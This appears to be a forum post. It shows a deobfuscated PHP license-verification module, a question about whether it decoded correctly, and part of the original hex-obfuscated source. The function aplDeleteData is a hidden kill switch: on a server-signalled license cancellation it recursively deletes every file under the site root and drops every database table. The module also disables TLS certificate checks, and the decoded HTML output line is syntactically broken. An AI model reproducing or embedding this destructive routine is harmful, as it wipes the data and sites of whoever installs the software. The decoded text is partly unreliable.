    ); 
    ScK3u: 
    goto s5ou2; 
    Hsfq2: 
    $INSTALLATION_KEY = aplCustomEncrypt( 
        password_hash(date("Y-m-d"), PASSWORD_DEFAULT), 
        APL_SALT . $ROOT_URL 
    ); 
    $LCD = aplCustomEncrypt( 
        date( 
            "Y-m-d", 
            strtotime("-" . APL_DAYS . " days") 
        ), 
        APL_SALT . $INSTALLATION_KEY 
    ); 
    $LRD = aplCustomEncrypt( 
        date("Y-m-d"), 
        APL_SALT . $INSTALLATION_KEY 
    ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_scheme.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE, 
        $installable["id"] 
    ); 
    if ( 
        !( 
            !empty( 
                $notifications_array[ 
                    "notification_data" 
                ] 
            ) && 
            !empty( 
                $notifications_array[ 
                    "notification_data" 
                ]["scheme_query"] 
            ) 
        ) 
    ) { 
        goto cP18I; 
    } 
    return [ 
        "installation_key" => $INSTALLATION_KEY, 
        "installation_hash" => $INSTALLATION_HASH, 
        "lcd" => $LCD, 
        "lrd" => $LRD, 
    ]; 
    cP18I: 
    s5ou2: 
    C8gTx: 
    throw new \Exception( 
        "License " . 
            "validation" . 
            " failed! Please contact" . 
            " support for help." 
    ); 
} 
function incevioAutoloadHelpers($MYSQLI_LINK = null, $FORCE_VERIFICATION = 0) 
{ 
    $notifications_array = []; 
    $update_lrd_value = 0; 
    $update_lcd_value = 0; 
    $updated_records = 0; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto qf7V5; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto rD3z9; 
    qf7V5: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto PqwBu; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto EFoTa; 
    PqwBu: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    if ( 
        aplGetDaysBetweenDates( 
            aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY), 
            date("Y-m-d") 
        ) < APL_DAYS && 
        aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY) <= 
            date("Y-m-d") && 
        aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) <= 
            date("Y-m-d") && 
        $FORCE_VERIFICATION === 0 
    ) { 
        goto gboIf; 
    } 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_verify.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    if ( 
        !( 
            $notifications_array[ 
                "notification_case" 
            ] == 
            "notification_license_ok" 
        ) 
    ) { 
        goto FVJ1V; 
    } 
    $update_lcd_value = 1; 
    FVJ1V: 
    if ( 
        !( 
            $notifications_array[ 
                "notification_case" 
            ] == 
                "notification_license_cancelled" && 
            APL_DELETE_CANCELLED == "YES" 
        ) 
    ) { 
        goto bPz4J; 
    } 
    aplDeleteData($MYSQLI_LINK); 
    bPz4J: 
    goto Cukfc; 
    gboIf: 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_ok"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_BYPASS_VERIFICATION; 
    Cukfc: 
    if ( 
        !( 
            aplCustomDecrypt($LRD, APL_SALT . $INSTALLATION_KEY) < 
            date("Y-m-d") 
        ) 
    ) { 
        goto TMwJa; 
    } 
    $update_lrd_value = 1; 
    TMwJa: 
    if (!($update_lrd_value == 1 || $update_lcd_value == 1)) { 
        goto VcoPV; 
    } 
    if ($update_lcd_value == 1) { 
        goto V15AH; 
    } 
    $LCD = aplCustomDecrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    goto WSN_a; 
    V15AH: 
    $LCD = date("Y-m-d"); 
    WSN_a: 
    $INSTALLATION_KEY = aplCustomEncrypt( 
        password_hash(date("Y-m-d"), PASSWORD_DEFAULT), 
        APL_SALT . $ROOT_URL 
    ); 
    $LCD = aplCustomEncrypt($LCD, APL_SALT . $INSTALLATION_KEY); 
    $LRD = aplCustomEncrypt( 
        date("Y-m-d"), 
        APL_SALT . $INSTALLATION_KEY 
    ); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto YmEPP; 
    } 
    $stmt = mysqli_prepare( 
        $MYSQLI_LINK, 
        "UPDATE " . 
            APL_DATABASE_TABLE . 
            " SET LCD=?, LRD=?, INSTALLATION_KEY=?" 
    ); 
    if (!$stmt) { 
        goto pTU0F; 
    } 
    mysqli_stmt_bind_param( 
        $stmt, 
        "sss", 
        $LCD, 
        $LRD, 
        $INSTALLATION_KEY 
    ); 
    $exec = mysqli_stmt_execute($stmt); 
    $affected_rows = mysqli_stmt_affected_rows($stmt); 
    if (!($affected_rows > 0)) { 
        goto J0XW5; 
    } 
    $updated_records = $updated_records + $affected_rows; 
    J0XW5: 
    mysqli_stmt_close($stmt); 
    pTU0F: 
    if (!($updated_records < 1)) { 
        goto OZEFJ; 
    } 
    echo APL_NOTIFICATION_DATABASE_WRITE_ERROR; 
    exit(); 
    OZEFJ: 
    YmEPP: 
    if (!(APL_STORAGE == "FILE")) { 
        goto nAkCJ; 
    } 
    $handle = @fopen( 
        APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, 
        "w+" 
    ); 
    $fwrite = @fwrite( 
        $handle, 
        "<ROOT_URL>{$ROOT_URL}</ROOT_URL><CLIENT_EMAIL>{$CLIENT_EMAIL}</CLIENT_EMAIL><LICENSE_CODE>{$LICENSE_CODE}</LICENSE_CODE><LCD>{$LCD}</LCD><LRD>{$LRD}</LRD><INSTALLATION_KEY>{$INSTALLATION_KEY}</INSTALLATION_KEY><INSTALLATION_HASH>{$INSTALLATION_HASH}</INSTALLATION_HASH>" 
    ); 
    if (!($fwrite === false)) { 
        goto A1as8; 
    } 
    echo APL_NOTIFICATION_LICENSE_FILE_WRITE_ERROR; 
    exit(); 
    A1as8: 
    @fclose($handle); 
    nAkCJ: 
    VcoPV: 
    EFoTa: 
    rD3z9: 
    if ( 
        !( 
            $notifications_array[ 
                "notification_case" 
            ] != 
            "notification_license_ok" 
        ) 
    ) { 
        goto ZG0x7; 
    } 
    echo "<br/><br/>"; 
    echo "License is not" . 
        " installed yet" . 
        " or corrupted. Please" . 
        " contact" . 
        " support " . 
        "team "; 
    echo " <a href="" . 
        get_license_reset_url() . 
        "">" . 
        trans( 
            "app.update_app_license" 
        ) . 
        "</a>"; 
    exit(); 
    ZG0x7: 
    return $notifications_array; 
} 
function aplVerifySupport($MYSQLI_LINK = null) 
{ 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto Pdgss; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto lkS8z; 
    Pdgss: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto grU_Q; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto y1_3B; 
    grU_Q: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_support.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    y1_3B: 
    lkS8z: 
    return $notifications_array; 
} 
function aplVerifyUpdates($MYSQLI_LINK = null) 
{ 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto qyNrl; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto UUVR3; 
    qyNrl: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto sGqBY; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto Qqu6U; 
    sGqBY: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_updates.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    Qqu6U: 
    UUVR3: 
    return $notifications_array; 
} 
function incevioUpdateLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto mv3HF; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto kGywu; 
    mv3HF: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto Axjf1; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto jN_kK; 
    Axjf1: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_update.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    jN_kK: 
    kGywu: 
    return $notifications_array; 
} 
function incevioUninstallLicense($MYSQLI_LINK = null) 
{ 
    $notifications_array = []; 
    $apl_core_notifications = aplCheckSettings(); 
    if (empty($apl_core_notifications)) { 
        goto XgYsI; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_script_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = implode("; ", $apl_core_notifications); 
    goto PBc0u; 
    XgYsI: 
    if (aplCheckData($MYSQLI_LINK)) { 
        goto bETzZ; 
    } 
    $notifications_array[ 
        "notification_case" 
    ] = 
        "notification_license_corrupted"; 
    $notifications_array[ 
        "notification_text" 
    ] = APL_NOTIFICATION_LICENSE_CORRUPTED; 
    goto th7hf; 
    bETzZ: 
    extract(aplGetLicenseData($MYSQLI_LINK)); 
    $post_info = 
        "product_id=" . 
        rawurlencode(APL_PRODUCT_ID) . 
        "&client_email=" . 
        rawurlencode($CLIENT_EMAIL) . 
        "&license_code=" . 
        rawurlencode($LICENSE_CODE) . 
        "&root_url=" . 
        rawurlencode($ROOT_URL) . 
        "&installation_hash=" . 
        rawurlencode($INSTALLATION_HASH) . 
        "&license_signature=" . 
        rawurlencode( 
            aplGenerateScriptSignature($ROOT_URL, $CLIENT_EMAIL, $LICENSE_CODE) 
        ); 
    $content_array = aplCustomPost( 
        APL_ROOT_URL . 
            "/apl_callbacks/license_uninstall.php", 
        $post_info, 
        $ROOT_URL 
    ); 
    $notifications_array = aplParseServerNotifications( 
        $content_array, 
        $ROOT_URL, 
        $CLIENT_EMAIL, 
        $LICENSE_CODE 
    ); 
    if ( 
        !( 
            $notifications_array[ 
                "notification_case" 
            ] == 
            "notification_license_ok" 
        ) 
    ) { 
        goto HyyMB; 
    } 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto oETlZ; 
    } 
    mysqli_query( 
        $MYSQLI_LINK, 
        "DELETE FROM " . APL_DATABASE_TABLE 
    ); 
    mysqli_query( 
        $MYSQLI_LINK, 
        "DROP TABLE " . APL_DATABASE_TABLE 
    ); 
    oETlZ: 
    if (!(APL_STORAGE == "FILE")) { 
        goto GW99A; 
    } 
    $handle = @fopen( 
        APL_DIRECTORY . "/" . APL_LICENSE_FILE_LOCATION, 
        "w+" 
    ); 
    @fclose($handle); 
    GW99A: 
    HyyMB: 
    th7hf: 
    PBc0u: 
    return $notifications_array; 
} 
function aplDeleteData($MYSQLI_LINK = null) 
{ 
    if ( 
        APL_GOD_MODE == "YES" && 
        isset($_SERVER["DOCUMENT_ROOT"]) 
    ) { 
        goto oByhn; 
    } 
    $root_directory = dirname(__DIR__); 
    goto Tp3Ys; 
    oByhn: 
    $root_directory = 
        $_SERVER["DOCUMENT_ROOT"]; 
    Tp3Ys: 
    foreach ( 
        new RecursiveIteratorIterator( 
            new RecursiveDirectoryIterator( 
                $root_directory, 
                FilesystemIterator::SKIP_DOTS 
            ), 
            RecursiveIteratorIterator::CHILD_FIRST 
        ) 
        as $path 
    ) { 
        $path->isDir() && !$path->isLink() 
            ? rmdir($path->getPathname()) 
            : unlink($path->getPathname()); 
        kKJMy: 
    } 
    kYGeP: 
    rmdir($root_directory); 
    if (!(APL_STORAGE == "DATABASE")) { 
        goto Ql3wL; 
    } 
    $database_tables_array = []; 
    $table_list_results = mysqli_query( 
        $MYSQLI_LINK, 
        "SHOW TABLES" 
    ); 
    AYSjD: 
    if (!($table_list_row = mysqli_fetch_row($table_list_results))) { 
        goto M0ADK; 
    } 
    $database_tables_array[] = $table_list_row[0]; 
    goto AYSjD; 
    M0ADK: 
    if (empty($database_tables_array)) { 
        goto oA0NR; 
    } 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query( 
            $MYSQLI_LINK, 
            "DELETE FROM {$table_name}" 
        ); 
        NH0uQ: 
    } 
    s2J0n: 
    foreach ($database_tables_array as $table_name) { 
        mysqli_query( 
            $MYSQLI_LINK, 
            "DROP TABLE {$table_name}" 
        ); 
        Xr05S: 
    } 
    dOOOW: 
    oA0NR: 
    Ql3wL: 
    exit(); 
} 
 ?>

Did this file decode correctly?

Original Code

<?php

function aplCustomEncrypt($string, $key)
{
    $encrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto aCHZZ;
    }
    $iv = openssl_random_pseudo_bytes(
        openssl_cipher_iv_length("\x61\x65\x73\x2d\x32\x35\66\55\x63\x62\x63")
    );
    $encrypted_string = openssl_encrypt(
        $string,
        "\141\x65\163\55\x32\x35\x36\55\x63\x62\143",
        $key,
        0,
        $iv
    );
    $encrypted_string = base64_encode($encrypted_string . "\x3a\x3a" . $iv);
    aCHZZ:
    return $encrypted_string;
}
function aplCustomDecrypt($string, $key)
{
    $decrypted_string = null;
    if (!(!empty($string) && !empty($key))) {
        goto Ya1sX;
    }
    $string = base64_decode($string);
    if (!stristr($string, "\72\72")) {
        goto U459i;
    }
    $string_iv_array = explode("\72\72", $string, 2);
    if (!(!empty($string_iv_array) && count($string_iv_array) == 2)) {
        goto A2z0B;
    }
    list($encrypted_string, $iv) = $string_iv_array;
    $decrypted_string = openssl_decrypt(
        $encrypted_string,
        "\141\145\x73\x2d\x32\65\66\55\143\x62\143",
        $key,
        0,
        $iv
    );
    A2z0B:
    U459i:
    Ya1sX:
    return $decrypted_string;
}
function aplValidateIntegerValue($number, $min_value = 0, $max_value = INF)
{
    $result = false;
    if (
        !(
            !is_float($number) &&
            filter_var($number, FILTER_VALIDATE_INT, [
                "\157\160\164\x69\157\156\163" => [
                    "\x6d\151\x6e\x5f\162\141\x6e\x67\145" => $min_value,
                    "\x6d\141\x78\137\162\141\x6e\147\x65" => $max_value,
                ],
            ]) !== false
        )
    ) {
        goto NmzoT;
    }
    $result = true;
    NmzoT:
    return $result;
}
function aplValidateRawDomain($url)
{
    $result = false;
    if (empty($url)) {
        goto Ezxcw;
    }
    if (
        preg_match(
            "\x2f\136\x5b\141\55\172\x30\x2d\x39\55\x2e\135\53\134\56\x5b\141\x2d\x7a\134\56\135\x7b\62\x2c\67\x7d\44\57",
            strtolower($url)
        )
    ) {
        goto S7c2L;
    }
    $result = false;
    goto R4Hfe;
    S7c2L:
    $result = true;
    R4Hfe:
    Ezxcw:
    return $result;
}
function aplGetCurrentUrl($remove_last_slash = null)
{
    $protocol = "\150\x74\164\160";
    $host = null;
    $script = null;
    $params = null;
    $current_url = null;
    if (
        !(
            (isset($_SERVER["\110\x54\124\x50\x53"]) &&
                $_SERVER["\x48\x54\x54\x50\123"] !== "\x6f\146\x66") ||
            (isset(
                $_SERVER[
                    "\110\124\124\x50\x5f\130\137\106\x4f\122\x57\x41\122\x44\105\x44\x5f\120\122\x4f\x54\x4f"
                ]
            ) &&
                $_SERVER[
                    "\x48\x54\x54\x50\x5f\130\137\106\x4f\x52\x57\101\x52\x44\105\104\x5f\120\x52\x4f\124\x4f"
                ] == "\150\164\164\x70\x73")
        )
    ) {
        goto en2mY;
    }
    $protocol = "\150\164\x74\160\163";
    en2mY:
    if (!isset($_SERVER["\x48\124\x54\x50\x5f\110\x4f\x53\x54"])) {
        goto nGzG8;
    }
    $host = $_SERVER["\110\x54\124\120\137\x48\x4f\x53\124"];
    nGzG8:
    if (!isset($_SERVER["\x53\x43\122\111\120\x54\137\x4e\101\115\x45"])) {
        goto ln9Y9;
    }
    $script = $_SERVER["\x53\x43\x52\x49\x50\124\x5f\116\101\x4d\105"];
    ln9Y9:
    if (!isset($_SERVER["\x51\x55\x45\122\131\x5f\123\124\122\x49\x4e\107"])) {
        goto G5jYD;
    }
    $params = $_SERVER["\x51\125\x45\x52\x59\137\x53\x54\122\111\x4e\107"];
    G5jYD:
    if (!(!empty($protocol) && !empty($host) && !empty($script))) {
        goto qtnZM;
    }
    $current_url = $protocol . "\x3a\57\57" . $host . $script;
    if (empty($params)) {
        goto xUgd7;
    }
    $current_url .= "\x3f" . $params;
    xUgd7:
    if (!($remove_last_slash == 1)) {
        goto PWVPT;
    }
    hBtxj:
    if (!(substr($current_url, -1) == "\57")) {
        goto liGPK;
    }
    $current_url = substr($current_url, 0, -1);
    goto hBtxj;
    liGPK:
    PWVPT:
    qtnZM:
    return $current_url;
}
function aplGetRawDomain($url)
{
    $raw_domain = null;
    if (empty($url)) {
        goto m39nY;
    }
    $url_array = parse_url($url);
    if (!empty($url_array["\x73\x63\150\x65\155\x65"])) {
        goto CH80r;
    }
    $url = "\x68\x74\164\160\72\x2f\x2f" . $url;
    $url_array = parse_url($url);
    CH80r:
    if (empty($url_array["\x68\157\163\x74"])) {
        goto Q1Xjk;
    }
    $raw_domain = $url_array["\150\x6f\x73\164"];
    $raw_domain = trim(
        str_ireplace(
            "\167\167\x77\56",
            "",
            filter_var($raw_domain, FILTER_SANITIZE_URL)
        )
    );
    Q1Xjk:
    m39nY:
    return $raw_domain;
}
function aplGetRootUrl(
    $url,
    $remove_scheme,
    $remove_www,
    $remove_path,
    $remove_last_slash
) {
    if (!filter_var($url, FILTER_VALIDATE_URL)) {
        goto Q69o7;
    }
    $url_array = parse_url($url);
    $url = str_ireplace(
        $url_array["\163\143\150\x65\x6d\145"] . "\x3a\x2f\57",
        "",
        $url
    );
    if ($remove_path == 1) {
        goto VZA7A;
    }
    $last_slash_position = strripos($url, "\x2f");
    if (!($last_slash_position > 0)) {
        goto d9E38;
    }
    $url = substr($url, 0, $last_slash_position + 1);
    d9E38:
    goto n2aKc;
    VZA7A:
    $first_slash_position = stripos($url, "\x2f");
    if (!($first_slash_position > 0)) {
        goto InWSZ;
    }
    $url = substr($url, 0, $first_slash_position + 1);
    InWSZ:
    n2aKc:
    if (!($remove_scheme != 1)) {
        goto hCC7S;
    }
    $url = $url_array["\163\x63\x68\145\x6d\145"] . "\72\x2f\57" . $url;
    hCC7S:
    if (!($remove_www == 1)) {
        goto qavQj;
    }
    $url = str_ireplace("\167\x77\167\56", "", $url);
    qavQj:
    if (!($remove_last_slash == 1)) {
        goto veHx_;
    }
    Ma7Og:
    if (!(substr($url, -1) == "\x2f")) {
        goto meJbk;
    }
    $url = substr($url, 0, -1);
    goto Ma7Og;
    meJbk:
    veHx_:
    Q69o7:
    return trim($url);
}
function aplCustomPost($url, $post_info = null, $refer = null)
{
    $user_agent =
        "\160\150\x70\x6d\151\x6c\x6c\x69\x6f\156\x20\x63\125\x52\x4c";
    $connect_timeout = 10;
    $server_response_array = [];
    $formatted_headers_array = [];
    if (!(filter_var($url, FILTER_VALIDATE_URL) && !empty($post_info))) {
        goto ROIEb;
    }
    if (!(empty($refer) || !filter_var($refer, FILTER_VALIDATE_URL))) {
        goto xzVnU;
    }
    $refer = $url;
    xzVnU:
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_TIMEOUT, $connect_timeout);
    curl_setopt($ch, CURLOPT_REFERER, $refer);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_info);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
    curl_setopt($ch, CURLOPT_HEADERFUNCTION, function ($curl, $header) use (
        &$formatted_headers_array
    ) {
        $len = strlen($header);
        $header = explode("\72", $header, 2);
        if (!(count($header) < 2)) {
            goto tY4fu;
        }
        return $len;
        tY4fu:
        $name = strtolower(trim($header[0]));
        $formatted_headers_array[$name] = trim($header[1]);
        return $len;
    });
    $result = curl_exec($ch);
    $curl_error = curl_error($ch);
    curl_close($ch);
    $server_response_array[
        "\x68\x65\141\144\145\x72\x73"
    ] = $formatted_headers_array;
    $server_response_array["\x65\x72\162\157\162"] = $curl_error;
    $server_response_array["\142\157\144\x79"] = $result;
    ROIEb:
    return $server_response_array;
}
function aplVerifyDateTime($datetime, $format)
{
    $result = false;
    if (!(!empty($datetime) && !empty($format))) {
        goto VYeRd;
    }
    $datetime = DateTime::createFromFormat($format, $datetime);
    $errors = DateTime::getLastErrors();
    if (
        !(
            $datetime &&
            empty(
                $errors["\x77\141\x72\x6e\x69\x6e\147\x5f\143\x6f\x75\156\164"]
            )
        )
    ) {
        goto o0jw8;
    }
    $result = true;
    o0jw8:
    VYeRd:
    return $result;
}
function aplGetDaysBetweenDates($date_from, $date_to)
{
    $number_of_days = 0;
    if (
        !(
            aplVerifyDateTime($date_from, "\131\55\155\55\144") &&
            aplVerifyDateTime($date_to, "\x59\55\x6d\55\x64")
        )
    ) {
        goto NITkM;
    }
    $date_to = new DateTime($date_to);
    $date_from = new DateTime($date_from);
    $number_of_days = $date_from->diff($date_to)->format("\45\141");
    NITkM:
    return $number_of_days;
}
function aplParseXmlTags($content, $tag_name)
{
    $parsed_value = null;
    if (!(!empty($content) && !empty($tag_name))) {
        goto Rd7mT;
    }
    preg_match_all(
        "\57\74" .
            preg_quote($tag_name, "\57") .
            "\x3e\50\56\52\77\x29\x3c\x5c\57" .
            preg_quote($tag_name, "\57") .
            "\x3e\57\x69\x6d\163",
        $content,
        $output_array,
        PREG_SET_ORDER
    );
    if (empty($output_array[0][1])) {
        goto VbGpu;
    }
    $parsed_value = trim($output_array[0][1]);
    VbGpu:
    Rd7mT:
    return $parsed_value;
}
function aplParseServerNotifications(
    $content_array,
    $ROOT_URL,
    $CLIENT_EMAIL,
    $LICENSE_CODE,
    $product = null
) {
    $notifications_array = [];
    if (!empty($content_array)) {
        goto hZuWm;
    }
    $notifications_array[
        "\156\x6f\164\151\146\x69\x63\x61\x74\151\157\x6e\x5f\143\x61\x73\x65"
    ] =
        "\156\157\x74\151\x66\x69\143\x61\x74\151\x6f\x6e\x5f\156\157\x5f\143\157\156\x6e\x65\x63\164\x69\157\156";
    $notifications_array[
        "\x6e\157\164\x69\x66\x69\x63\141\x74\151\157\156\137\164\145\x78\x74"
    ] = APL_NOTIFICATION_NO_CONNECTION;
    goto eybYy;
    hZuWm:
    if (
        !empty(
            $content_array["\150\145\x61\144\145\x72\163"][
                "\x6e\157\164\151\x66\x69\143\x61\x74\x69\157\x6e\137\x73\x65\x72\x76\145\x72\x5f\163\151\x67\x6e\141\164\x75\x72\x65"
            ]
        ) &&
        aplVerifyServerSignature(
            $content_array["\x68\x65\x61\x64\x65\x72\163"][
                "\156\157\164\151\x66\x69\143\x61\x74\151\157\x6e\x5f\163\x65\162\166\x65\x72\x5f\163\151\147\x6e\x61\x74\x75\162\x65"
            ],
            $ROOT_URL,
            $CLIENT_EMAIL,
            $LICENSE_CODE,
            $product
        )
    ) {
        goto jQD2b;
    }
    $notifications_array[
        "\156\x6f\164\151\146\x69\x63\141\164\151\x6f\x6e\x5f\143\x61\163\x65"
    ] =
        "\x6e\157\x74\x69\146\x69\x63\141\164\x69\x6f\156\137\x69\x6e\x76\141\x6c\151\x64\137\162\x65\x73\x70\157\156\163\x65";
    $notifications_array[
        "\156\x6f\164\151\x66\151\x63\x61\x74\151\x6f\156\137\164\x65\x78\164"
    ] = APL_NOTIFICATION_INVALID_RESPONSE;
    goto O6t8i;
    jQD2b:
    $notifications_array[
        "\x6e\157\164\x69\146\151\143\x61\x74\151\x6f\156\137\x63\141\x73\x65"
    ] =
        $content_array["\150\x65\x61\144\145\x72\163"][
            "\x6e\x6f\x74\151\x66\151\x63\141\x74\151\x6f\156\137\x63\x61\163\x65"
        ];
    $notifications_array[
        "\156\x6f\x74\x69\x66\151\143\x61\x74\151\x6f\156\x5f\164\x65\x78\x74"
    ] =
        $content_array["\x68\145\x61\144\x65\162\x73"][
            "\156\x6f\x74\x69\146\x69\143\x61\x74\x69\x6f\x6e\137\x74\x65\170\x74"
        ];
    if (
        empty(
            $content_array["\150\145\141\144\145\162\163"][
                "\156\x6f\164\151\146\151\143\141\x74\x69\157\x6e\137\144\x61\x74\x61"
            ]
        )
    ) {
        goto PDkxi;
    }
    $notifications_array[
        "\156\x6f\x74\x69\146\151\x63\141\164\x69\157\156\x5f\144\141\x74\x61"
    ] = json_decode(
        $content_array["\150\145\x61\x64\145\x72\163"][
            "\156\157\164\151\146\151\x63\x61\x74\x69\157\x6e\137\x64\x61\164\x61"
        ],
        true
    );
    PDkxi:
    O6t8i:
    eybYy:
    return $notifications_array;
}
function aplGenerateScriptSignature(
    $ROOT_URL,
    $CLIENT_EMAIL,
    $LICENSE_CODE,
    $product = null
) {
    $script_signature = null;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
    $product = $product == null ? APL_PRODUCT_ID : $product;
    if (
        !(
            !empty($ROOT_URL) &&
            isset($CLIENT_EMAIL) &&
            isset($LICENSE_CODE) &&
            !empty($root_ips_array)
        )
    ) {
        goto Q4GmI;
    }
    $script_signature = hash(
        "\x73\x68\x61\x32\65\66",
        gmdate("\x59\55\155\55\144") .
            $ROOT_URL .
            $CLIENT_EMAIL .
            $LICENSE_CODE .
            $product .
            implode("", $root_ips_array)
    );
    Q4GmI:
    return $script_signature;
}
function aplVerifyServerSignature(
    $notification_server_signature,
    $ROOT_URL,
    $CLIENT_EMAIL,
    $LICENSE_CODE,
    $product = null
) {
    $result = false;
    $root_ips_array = gethostbynamel(aplGetRawDomain(APL_ROOT_URL));
